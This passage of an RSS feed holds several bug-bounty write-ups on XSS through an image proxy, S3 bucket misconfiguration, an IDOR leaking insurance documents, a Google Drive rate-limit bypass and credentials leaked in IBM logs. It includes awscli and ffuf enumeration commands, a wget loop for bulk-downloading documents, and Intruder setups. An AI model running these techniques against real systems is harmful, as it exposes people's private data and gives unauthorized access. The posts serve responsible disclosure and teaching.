height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS through image proxy using SVG image]]></title>
            <link>https://3bodymo.medium.com/xss-through-image-proxy-using-svg-image-49cdf955cf4f?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/49cdf955cf4f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Sat, 25 Dec 2021 13:01:41 GMT</pubDate>
            <atom:updated>2021-12-27T19:10:07.262Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11_ONjVAgOSj2zrEGXDptQ.png" /></figure><p>Hi everyone, today’s story will be short because there are not many details in it.</p><p>I got a private invitation to hunt in the program, once I opened the website, I used to check the place of images and JS files, because if they are uploaded on service like Amazon S3 bucket, I will scan this bucket.</p><p>When I clicked on a random image I saw the link of image like this:</p><p><strong>https://company.com/1/2010/1920/https://example.s3.amazonaws.com/images/a1.jpg</strong></p><p>From here I have two thing to do, the first thing is to scan S3 bucket to know if there is a misconfiguration or not .. <a href="https://3bodymo.medium.com/how-i-earned-by-amazon-s3-bucket-misconfigurations-29d51ee510de"><strong>here</strong></a> is my writeup to know how to scan this type of misconfiguration.</p><p>The second thing I did (which it is the reason to write this writeup) is check if the endpoint accepts an images from my host or not, I tried and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_-abNTfOKp45VI_P-m-LA.png" /></figure><blockquote><em>I tried a files with different extensions to know if I can exploit SSRF, but unfortunately the endpoint only accept images extension.</em></blockquote><p>The last thing I tried, I made an SVG file contain my XSS payload. After I made it I put my SVG file URL in the endpoint and the vulnerable link was like that:</p><p><strong>https://company.com/1/2010/1920/https://attacker.com/payloads/poc.svg</strong></p><p>Contrary to what I expected, the alert got from the company’s host and not from my host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0-w_-uk8HCChjZejOOVaQ.png" /></figure><h4><strong>How to fix?</strong></h4><p>The team fixed the bug through make the proxy only accept images from their S3 bucket that belong to them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDG3zvx6oVC0B4s01SQg5A.png" /></figure><blockquote><em>Thanks for your reading, I hope my story was useful.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49cdf955cf4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I earned $$$$ by Amazon S3 Bucket misconfigurations?]]></title>
            <link>https://3bodymo.medium.com/how-i-earned-by-amazon-s3-bucket-misconfigurations-29d51ee510de?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/29d51ee510de</guid>
            <category><![CDATA[aws-s3]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Wed, 28 Jul 2021 15:13:10 GMT</pubDate>
            <atom:updated>2021-07-28T15:13:10.846Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfWcUO6kGFAzt_KLvZFMzQ.jpeg" /></figure><p>Hi all, in this story I will talk about several misconfiguration that I found related to the <strong>Amazon S3 Buckets</strong>.</p><p>Also I will mention some tricks and tools that will help you to find this type of vulnerability.</p><h4>What is the important tools?</h4><p>At first and before use any other tools, you have to install <strong>awscli</strong> and configure it with your AWS credentials.</p><ul><li><a href="https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-linux.html"><strong>Amazon tutorial</strong></a></li><li><a href="https://www.youtube.com/watch?v=_f0d2pLJjiA"><strong>Video tutorial</strong></a></li></ul><p>After you installing <strong>awscli</strong>, and if you want a tool that performs an automatic scan instead of a manual scan, I advise you to use one of these tools.</p><ul><li><a href="https://github.com/sa7mon/S3Scanner"><strong>S3Scanner</strong></a></li><li><a href="https://github.com/gwen001/s3-buckets-finder"><strong>s3-buckets-finder</strong></a></li></ul><h4>Now I’m going to talk about my finding and some tricks I used.</h4><p>I browsed one of subdomains<strong>,</strong> then I found that all images and JS files was uploaded to <strong>S3 bucket</strong>, let’s call the first bucket I found <strong>qa-media.company</strong>, so I checked the bucket through <strong>awscli</strong>.</p><p>Surprisingly, I was not given an <strong>“AccessDenied”</strong> message and I could list the files.</p><p>I checked the bucket manually using <strong>awscli</strong>, I tried copy, move and delete but the bucket seems to be set fine, so I didn’t have any permissions to do that.</p><h4><strong>The commands I used it to check:</strong></h4><ul><li><strong>ls command:</strong></li></ul><p><strong>aws s3 ls s3://qa-media.company/</strong></p><p>This command will list all directories of bucket.</p><ul><li><strong>Copy command:</strong></li></ul><p><strong>aws s3 cp fileName.txt s3://qa-media.company/</strong></p><p>This command will upload <strong>fileName.txt</strong> file from your computer to the bucket.</p><ul><li><strong>Move/Rename command:</strong></li></ul><p><strong>aws s3 mv s3://qa-media.company/files/fileName.txt s3://qa-media.company/images/</strong></p><p>This command will move <strong>fileName.txt</strong> file to <strong>images</strong> directory.</p><p><strong>aws s3 mv s3://qa-media.company/fileName.txt s3://qa-media.company/PoC.txt</strong></p><p>This command will rename <strong>fileName.txt</strong> file to <strong>PoC.txt</strong>.</p><ul><li><strong>Delete command:</strong></li></ul><p><strong>aws s3 rm s3://qa-media.company/fileName.txt</strong></p><p>This command will delete <strong>fileName.txt</strong> file.</p><p><strong>“Listing of S3 Bucket accessible”</strong> some of companies consider it a vulnerability and pay for it, but it’s not a high or critical vulnerability so I couldn’t report it because the company I’m working on it accepts only high and critical vulnerabilities. Now I have no choice but to find sensitive files in this bucket to report.</p><p>I walked through files to make sure if there any interesting data worth reporting. I found directory called <strong>“invoices”</strong> and when I browsed it<strong> </strong>I found some PDF files. I copied one of PDF files to opened through browser to see the content of file, the surprise is that the response was <strong>200</strong>, and as I expected, the file contained an invoice for a customer with his name, number and home address, finally it is <strong>PII data</strong> and worth reporting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Ceid1hQoN-NLE9LERLdNHg.png" /><figcaption>Number of exposed <strong>invoices</strong></figcaption></figure><p>Now I will explain how I found more buckets belonging to the company.</p><p>At first I created a <strong>wordlist.txt</strong> file containing numbers from 0 to 100 and I ran <a href="https://github.com/ffuf/ffuf"><strong>ffuf</strong></a> tool with following command:</p><p><strong>ffuf -u https://qaFUZZ-media.company.s3.amazonaws.com/ -w wordlist.txt</strong></p><p>Surprisingly, there is another bucket called <strong>qa2-media.company</strong> and when I checked it I didn’t find any important files but I found that I had all the permissions on it, so I reported it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*EIGFChPXEu5AgeC8Oc80zQ.png" /><figcaption><strong>qa2-media.company </strong>bucket</figcaption></figure><p>After I reporting these two reports, I went back to the company’s main website to see where the files of website were uploaded. As I expected, all site files were uploaded to a bucket called <strong>prod-media.company</strong>.</p><p>As usual I tried copy, move and delete, but I didn’t have permission. I found almost the same files that I found in the first bucket, so I decided to go to the <strong>“invoices”</strong> directory again. The big surprise is when I counted PDF files by <strong>wc -l</strong> command, the number was<strong> 314,642</strong> and it is public, WoW.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*gkoOLztBrapZXcEkF-At7Q.png" /><figcaption>Number of exposed <strong>invoices</strong></figcaption></figure><p>My concluded was that the previous bucket that I found contained customer data, but in a temporary period, until this bucket was created and the data became stored in it.</p><p>After I found the three previous buckets, I knew how the company chooses their bucket names so I downloaded <a href="https://raw.githubusercontent.com/rbsec/dnscan/master/subdomains-10000.txt"><strong>subdomains wordlist</strong></a> and I ran <strong>ffuf</strong> tool with the following command:</p><p><strong>ffuf -u https://FUZZ-media.company.s3.amazonaws.com/ -w wordlist.txt</strong></p><p>The result was that there were two other buckets, the first one called <strong>preprod-media.company</strong> and the other was <strong>dev-media.company</strong>.</p><p>The first bucket didn’t contain any important files and I didn’t have any permissions on it, so I didn’t report it, but the second bucket I had all the permissions on it so I reported it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*HtAbBPyRy9UpP4ub3H_h2g.png" /><figcaption><strong>dev-media.company </strong>bucket</figcaption></figure><p>Also I want to mention how I found a subdomain takeover in this company using the brute force, but I did not use the brute force randomly, after the stage of collecting subdomains by common methods such as using <a href="https://github.com/OWASP/Amass"><strong>amass</strong></a> tool, I found subdomains like this:</p><ul><li><strong>qa-api.company.com</strong></li><li><strong>prod-api.company.com</strong></li><li><strong>api.company.com</strong></li><li><strong>media.company.com</strong></li></ul><p>So I used <a href="https://github.com/rbsec/dnscan"><strong>dnscan</strong></a> to find subdomains by brute force and I used the following command:</p><p><strong>python3 dnscan.py -d %%-media.company.com -w wordlist.txt -n</strong></p><p>There were many results and when I went through all the results I found this subdomain <strong>qa-media.company.com</strong> that showed me this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qS2bpaU73YaFAmJdYJ20Fg.png" /><figcaption>Before I takeover it</figcaption></figure><p>Wow it seemed to be a subdomain takeover, I quickly opened my AWS account to register the bucket, and when I back to subdomain I found that its statues code changed to <strong>“AccessDenied”</strong>,<strong> </strong>I really got it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KzDeKPwdNRl6Noz7_imdg.png" /><figcaption>After I takeover it</figcaption></figure><h3>Lessons learned</h3><ol><li>Amazon s3 buckets may contain a lot of misconfiguration so don’t ignore it.</li><li>Always check where the images and JS files are uploaded. The company may be using Amazon s3 bucket.</li><li>Understand how the subdomains or buckets is named so that you can use brute force in an orderly manner, that will give you more subdomains or more buckets to check them.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29d51ee510de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR leads to leak medical insurance documents]]></title>
            <link>https://3bodymo.medium.com/idor-leads-to-leak-medical-insurance-documents-8779715074be?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8779715074be</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Fri, 16 Jul 2021 22:05:14 GMT</pubDate>
            <atom:updated>2022-02-01T06:42:38.018Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/877/0*2rp_q1iT6kdKlbeo.jpg" /></figure><p>Hi everyone, today I will talk about IDOR vulnerability that I found it in a insurance company that leaks the medical insurance documents of nearly <strong>100,000</strong> customers.</p><h4>At first, I will tell you a little story about how I found this company?</h4><p>One day, I applied for a visa to travel to Saudi Arabia, and among the requirements for obtaining a visa is to obtain medical insurance from an insurance company, I chose this company and let’s call it <strong>Example </strong>company. After I paid the fees for this company, they sent me URL of my medical insurance document, and the URL was like this:</p><p><strong>https://document.example.com/1682425711431052.pdf</strong></p><p>The file name was the same as the insurance policy number, so if you knew someone else’s insurance policy number, you will be able to get his insurance document. But at that time I didn’t pay any attention to the matter.</p><h4>How I found the vulnerability?</h4><p>I received an email from the company offering a service regarding the risks of infection from Corona Virus (Covid-19) and to pay and get this service, <strong>“Please click on the following link”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hu_BpT8RJIjqvHC2cy2LZw.png" /></figure><p>When the link is opened I found my passport number and insurance policy number in front of me, I threw quick look at what the URL looks like, it was like this:</p><p><strong>https://www.example.com/en/AddBenefit/62251</strong></p><p>I changed the number in the endpoint to <strong>62252</strong>.</p><p>Surprisingly, another customer’s page appeared to me containing his passport number and his policy number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axbsFwQxNBLh82gwrraSzA.png" /></figure><p>After that I sent the request to burp to find a way to dump all the medical insurance documents at once. At first I have to fetch all the policy number of all customers, so I sent the request to intruder.</p><blockquote><em>The request: </em><strong><em>https://www.example.com/en/AddBenefit/$Payload</em></strong></blockquote><blockquote><em>Payload Options [Numbers]: </em><strong><em>From</em></strong><em> 00000 </em><strong><em>To</em></strong><em> 90000, </em><strong><em>Step:</em></strong><em>1</em></blockquote><p>Then I used <strong>Grep - Extract option</strong> to extract the policy number from each response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Tinx5yKNjUvraUKYJsTJw.png" /><figcaption>Grep - Extract option</figcaption></figure><p><strong>The attack was successful and I managed to get the policy numbers.</strong></p><blockquote><strong><em>Note:</em></strong><em> my purpose was not to dump all the medical documents but I did this attack only to escalate the severity, and actually the payloads was only 100 numbers.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0s9GJ5F-lSxvhGP6fP3VQ.png" /></figure><p>I copied all the policy numbers from burp, then I put them in a file named <strong>policyNumbers.txt</strong>. Then I created a small script that takes the policy numbers from <strong>policyNumbers.txt</strong> file and give it to the URL that downloads the medical insurance document.</p><p><strong>The script was like this:</strong></p><pre>#! /bin/bash</pre><pre>for num in `cat policyNumbers.txt`<br>do<br>     wget &quot;https://document.example.com/$num.pdf&quot; -O $num.pdf<br>     mv $num.pdf files/<br>done</pre><p>The insurance documents also contained the customer’s visa reference number, and through the Saudi Ministry of Foreign Affairs website, you can get the customer’s visa document through the passport number and visa reference number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bh9RPkq6R2sgVCfbBWVS8w.png" /><figcaption>Visa Document</figcaption></figure><p>I searched for the security team that they working in this company via <strong>LinkedIn </strong>to inform them of this vulnerability, but I did not receive any response from them.</p><p>In the end, I sent an email to <strong>Saudi CERT</strong> and I informed them of the vulnerability. They in turn contacted the company to fix the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HkiYtZwgVxK9a0U52zZibw.png" /></figure><blockquote>Thanks for your reading, I hope my story was useful.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8779715074be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass rate limit to enumeration users through Google Drive]]></title>
            <link>https://3bodymo.medium.com/bypass-rate-limit-to-enumeration-users-through-google-drive-ed64e07c879c?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed64e07c879c</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Wed, 24 Mar 2021 09:22:40 GMT</pubDate>
            <atom:updated>2021-05-09T19:46:59.906Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*6U11fqRP-9uaQhA6vl-32w.png" /></figure><p><strong>Hi </strong>everyone, today I’m gonna took about vulnerability that I found it in Google. In fact, when I sent the report to Google, it wasn’t a vulnerability, but I will tell you how I escalated the risk and bypass rate limit.</p><p>At first, I browsed Google drive looking for feature to misuse it and I found this feature..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-t6tHq-bUeguaPS9xVTKg.png" /><figcaption>The feature that allow you to share files</figcaption></figure><p>In short, this feature allows you to share the folder or content that you uploaded to a specific person or several people by sending an invitation via e-mail. So I entered an email and ran burp suite to see what happens when I send an invitation. When I opened burp, I found this interesting request..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3xdhaQ21NroUo8AdULANDQ.png" /><figcaption>At the bottom of the request, there is the e-mail that I sent</figcaption></figure><p>When I looked at the response I found the first and last name and the link for the profile picture of the email owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqhITQJ31hEurDt09U-qfw.png" /><figcaption>Personal information about the owner of the e-mail</figcaption></figure><p>it might seem interesting, but the Google policy does not consider this to be a kind of vulnerability, but bypass rate limit is vulnerability. So I created a file containing 500 username and sent this request to intruder so that I would know if there was a limited rate or not.</p><p>Indeed, the attack succeeded, and I sent the report to Google.</p><p>In fact, the report was accepted but I was told that 500 requests were not enough to prove that there was a vulnerability. So I opened my laptop and created a file containing 2000 username to try it, unfortunately I arrived at the request number 845 and after that it started showing me a message that I exceeded the limit rate. In fact, I looked a little frustrated and I shut down my laptop, then it occurred to me the idea of ​​what if we split the attack into more than one folder.</p><p>It was just an idea (I’ll explain the details in a moment), I quickly opened my laptop and wrote a comment on my report contains my idea that will allows me to do 500K requests. But actually, when I wrote this comment, I didn’t know how I exploit this attack! It was just an idea. And after less than 24 hours I got this comment from security team, they want PoC for the scenario I described and also they say should not be possible at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgUKakAtZMKg7P1qYqlxVg.png" /><figcaption>Security team comment</figcaption></figure><p>Now I will explain the idea, when I made 845 requests and got message that I exceeded the rate limit, what if I send 845 requests and then make another folder and send 845 other requests, I tried it and it really worked. But it sounds like an impractical idea and will take a lot of time. So I thought of creating a small program that creates a folder and then sends 845 request and then creates another folder and sends another 845 request. In fact it seems like a good idea, but I am not good at programming to do a program like that.</p><p>After deep thought, a good idea came to my mind. I thought about creating 1000 folders and saving these folder names. And send 500 username per folder (I know that I can send it 845 time but I send it 500 only to avoid any possible error), and if we have 1,000 folders, we’re actually able to send 500K requests.</p><blockquote>The server of Google doesn’t give same name that we gave, so you want get the folder name, you have two ways, via the folder’s invitation link or another way which I will mention shortly.</blockquote><p>When this idea came to my mind, I did not know how to get the names of 1000 folders, at first I was planning to create a folder and check its invitation link and get the folder name from it, but it would take a lot of time so I thought of another way. I told myself why I don’t check the request that creates the folder, maybe I can find something that interests me. I actually sent the request to burp (the request of make a new folder) and surprisingly, the response contains the name of the folder I want, wonderful.</p><p>The first problem was solved ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJwb7h2J4a37oBzgo1q10w.png" /><figcaption>Folder name in response</figcaption></figure><p><strong>Before I begin describing the attack scenario, I’ll give you a quick summary of my trick:</strong></p><p>I noticed that request is accept send it 845 times but this for one folder so I make 1000 folder and I send 500 request for every folder, I know that I can send it 845 time but I send it 500 only to avoid any possible error, so I repeated each line 500 times in filename.txt to send 500 usernames with one folder and every folder I send it 500 time with different usernames, so until we can continue the process, and I guess that this process can be done indefinitely as long as I make 500K requests and the server didn’t stop me.</p><blockquote>Now that we have everything done, let’s start the attack.</blockquote><ul><li>First we will create 1000 folders by sending a request of making a new folder to intruder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsBkFheeQ7bI7fz7amHxxw.png" /><figcaption>The request of make a new folder</figcaption></figure><ul><li>Then we will set the payload <strong>2–1000</strong>.</li></ul><blockquote>Remember we will create 1000 folders only to prove the vulnerability, but we can create more than that and also we can do more than 500K requests.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFYvU8JQDIkM7yS4M-i88Q.png" /><figcaption>Payload setting</figcaption></figure><ul><li>Now we have to capture folder names from the response, so we will go to <strong>Options tab - Grep Extract - Add</strong> and choose the value of <strong>id</strong> to capture folders names from all the requests that we will send.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0FNOAGoRdAex82hV5w8pA.png" /><figcaption>Grep Extract setting</figcaption></figure><ul><li>After running the intruder, we will have 1000 filenames, which we will put into a txt file. Now we have to repeat each name 500 times. So I looked for a way to repeat each line in a text file a certain number of times, and I found this simple command line..</li></ul><p>perl -ne ‘for$i(1..500){print}’filename.txt | tee output.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VpiWXAt2BpAyqK1uCcG1xQ.png" /><figcaption>Here is a <strong>id</strong> column contain names of the folders, simply click anywhere in the white space next to the column, then press on Ctrl + A and it will select all and then press on Ctrl + C and it will copy them</figcaption></figure><ul><li>Now we will go to burp again and send the request that <strong>invite person via e-mail</strong> to intruder. We’ll choose the folder name as payload number one and we’ll choose the username as payload number two.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zDCunl_v_wV4_mSyZMqrlg.png" /><figcaption>The request of invite person via e-mail</figcaption></figure><p>Now everything is ready. Indeed, the attack succeeded and I submitted the PoC to Google and got a <strong>🎉 Nice catch!</strong> But unfortunately, three weeks later I was told my report was ineligible for bounty, but I was added to HOF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8ir0BcTcjC84ua4TCeKNQ.png" /><figcaption>Attack operation</figcaption></figure><blockquote>Thanks for your reading, I hope my story was useful.</blockquote><p><strong>Timeline:</strong></p><p>[Jun 27, 2020] - Bug reported</p><p>[Jun 29, 2020] - Triaged</p><p>[Sep 15, 2020] - 🎉 Nice catch!</p><p>[Feb 23, 2021] - Won’t Fix</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed64e07c879c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The easiest $2500 I got it from bug bounty program]]></title>
            <link>https://3bodymo.medium.com/the-easiest-2500-i-got-it-from-bug-bounty-program-8f47ea4aff22?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f47ea4aff22</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[uber]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Fri, 05 Mar 2021 17:34:02 GMT</pubDate>
            <atom:updated>2021-03-06T06:16:25.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kIn3mGrSaUQjIKr-3MOGg.jpeg" /></figure><p>Hi all, today I will talk about first vulnerability I found it. At that time, I knew little about information security, so I was not do scan or something like that, I used to use the application as a normal user, but curiosity pushed me to find this vulnerability.</p><h4>How I found the vulnerability?</h4><p>One day, my friend came to me to request a trip for his friend, when the driver arrived I wanted to give the driver number to my friend to give it to his friend to communicate with the driver, at that time I knew that Uber protects the numbers of drivers and customers, but I am a curious person so I clicked here and there until I found a new feature It allows you to send SMS to the driver. When I clicked on it, it was the surprising, the driver’s real number appeared to me. I gave the number to my friend to send it to his friend. Then I thought about what had happened, and I thought to myself that this was unusual behavior and thought it was a vulnerability!!</p><h4><a href="https://www.uber.com/en-UA/blog/number-anonymisation-feature/"><strong>Read more about number anonymization feature…</strong></a></h4><h4><strong>How to reproduce the vulnerability?</strong></h4><p>At first, request a trip. After that, press the location of the arrow indicated in the picture below, in order to have a conversation with the driver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*kwy0hU9IPNhL6EToffKdrg.png" /></figure><p>After that, click on the phone sign above, and two options will appear for you, the first is make a phone call with driver (if you click it, it will direct you to the Uber general number and you will not know the real driver’s number).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*QpCFr09BQ3GDoQhcWHdeSw.png" /></figure><p>The second option is to send a SMS to the driver and when you click on it, the real driver’s number will appear for you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*Fhj0N3x_rNijd0IBHUpIVw.png" /></figure><h4>How did I report the vulnerability?</h4><p>I searched for Uber in <a href="https://hackerone.com/"><strong>hackerone</strong></a> and found that they have a program, I tried to send a report, but I could not, because my account is new and I do not have any signals, I contacted with hackerone’s support, but to no avail as well. I searched on Facebook and found a person called <a href="https://www.facebook.com/KhaledAzrail"><strong>Khaled Hassan</strong></a> and he is a security researcher a long time ago and I decided to send the vulnerability to him in order to send it on my behalf (I never knew him at the time, but now he is one of my best friend).</p><p>The vulnerability was fixed a month after it was send, and I was awarded my first bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*FLFdfJC9aU0aVzckKMVj2w.png" /></figure><h4>Lessons learned</h4><ol><li>I had no experience in the field of information security when I found this vulnerability, but I have a curiosity that pushed me to click here and there until I found this vulnerability, so use the application or website and walk through it and understand how it works, then start your hacking, that will give you good results and you will find a lot of bugs.</li><li>Pay your attention to logic vulnerability.</li><li>When you suspect that you have found a vulnerability and you are not sure, consult a close friend of yours and do not lose hope.</li></ol><blockquote>Thanks for your reading, I hope my story was useful.</blockquote><p><strong>Timeline:</strong></p><p>[Jan 29, 2020] — Bug reported</p><p>[Jan 31, 2020] — Triaged</p><p>[Mar 4, 2020] — Bug fixed</p><p>[Mar 6, 2020] — Rewarded $2500</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f47ea4aff22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I hacked IBM and got full access on many services?]]></title>
            <link>https://3bodymo.medium.com/how-i-hacked-ibm-and-got-full-access-on-many-services-ecf1dab4a054?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecf1dab4a054</guid>
            <category><![CDATA[ibm]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Tue, 15 Dec 2020 15:37:17 GMT</pubDate>
            <atom:updated>2021-04-16T19:14:41.654Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/890/0*kkaGvh1becPyBI7K.jpg" /></figure><p>Hi everyone, today I’m gonna talk about vulnerability that I found it in IBM that allowed me to get full access on many services.</p><p>At first, I opened <strong>shodan</strong> and searched for: <strong>Org:&#39;ibm&#39; tomcat</strong></p><p>I browsed some servers, but I didn’t find anything interesting, until I found this server and let’s call it <strong>x.x.x.x</strong>, when I ran ffuf on it, I found <strong>“logs”</strong> as exposed endpoint. So I opened my browser to visit this endpoint, and as expected, I found more than one folder containing logs file for employees.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePNfNBSOgwLkUNh6UoVzoQ.png" /></figure><p>I opened some files to make sure that they actually contain information worth reporting, and indeed there were some tokens and emails for IBM employees.<br>in fact, I checked the tokens but it were expired.<br>However, these files are not supposed to be exposed, so I opened <a href="https://hackerone.com/ibm"><strong>hackerone</strong></a> to report this bug.</p><p><strong>Less than a day later I received this reply..</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*IwRFzOF7WWJTlphaQ4s4Mw.png" /></figure><p>They want a real exploitation from data in logs to triage my report.</p><p>So I opened the logs file to read them, and the thing that intrigued me was that the logs file of the today were there, so I collected all the logs file in one txt file to <strong>grep</strong> all tokens and tried them.</p><blockquote><strong>Note:</strong> When I browsed through the logs file, I found admin control URL, and when I clicked on it, it showed me a message saying “<strong>There is a missing token</strong>”. Then I sent this request to the burp and added a header called “<strong>token</strong>” and I gave it a random value. Then the response changed to “<strong>The token is invalid or expired</strong>”. I wanted to say this point so that you know how to I make sure this tokens are working or not.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzSW2V5J_AC_ONOHMT0wIA.png" /></figure><p>One of them was valid and I was able to get some information about an employee.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34_4n6SfRxhqRYqIzeOeMA.png" /></figure><p>Also I found Credentials for <strong>AWS </strong>and <strong>Azure</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAnrAk3fCxrnhHk18cmnUQ.png" /></figure><p>Here I finished interim and I added an update to the report with what I found, and the report was triaged.</p><p>After that I decided to dive into the logs file to find something I could present on a separate report. And I found URL of <strong>Services DevOps Commander</strong> and when I opened it I tried to login with <strong>admin</strong> as username and <strong>pass</strong> as password, the surprise was that it was a true credential and I managed to get in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFbjj2efo5LZwwmdQG7amQ.png" /></figure><blockquote>A small note: I later found that these credentials are being leaked in the logs file as clear text.</blockquote><p>I browsed through the control panel, and I found credentials for services like <strong>gitlab,</strong> <strong>jenkins</strong> and many other services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wH82MiSWeCbJ4ouddCb-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHDP6nFrVvTaPmigThLfeA.png" /></figure><p>I stopped there and I report this bug in a separate report, and the report was triaged.</p><blockquote>Thanks for your reading, I hope my story was useful.</blockquote><p><strong>Timeline:</strong></p><p>[Jul 21, 2020] — Bug reported</p><p>[Jul 22, 2020] — Triaged</p><p>[Dec 08, 2020] — Bug fixed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecf1dab4a054" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>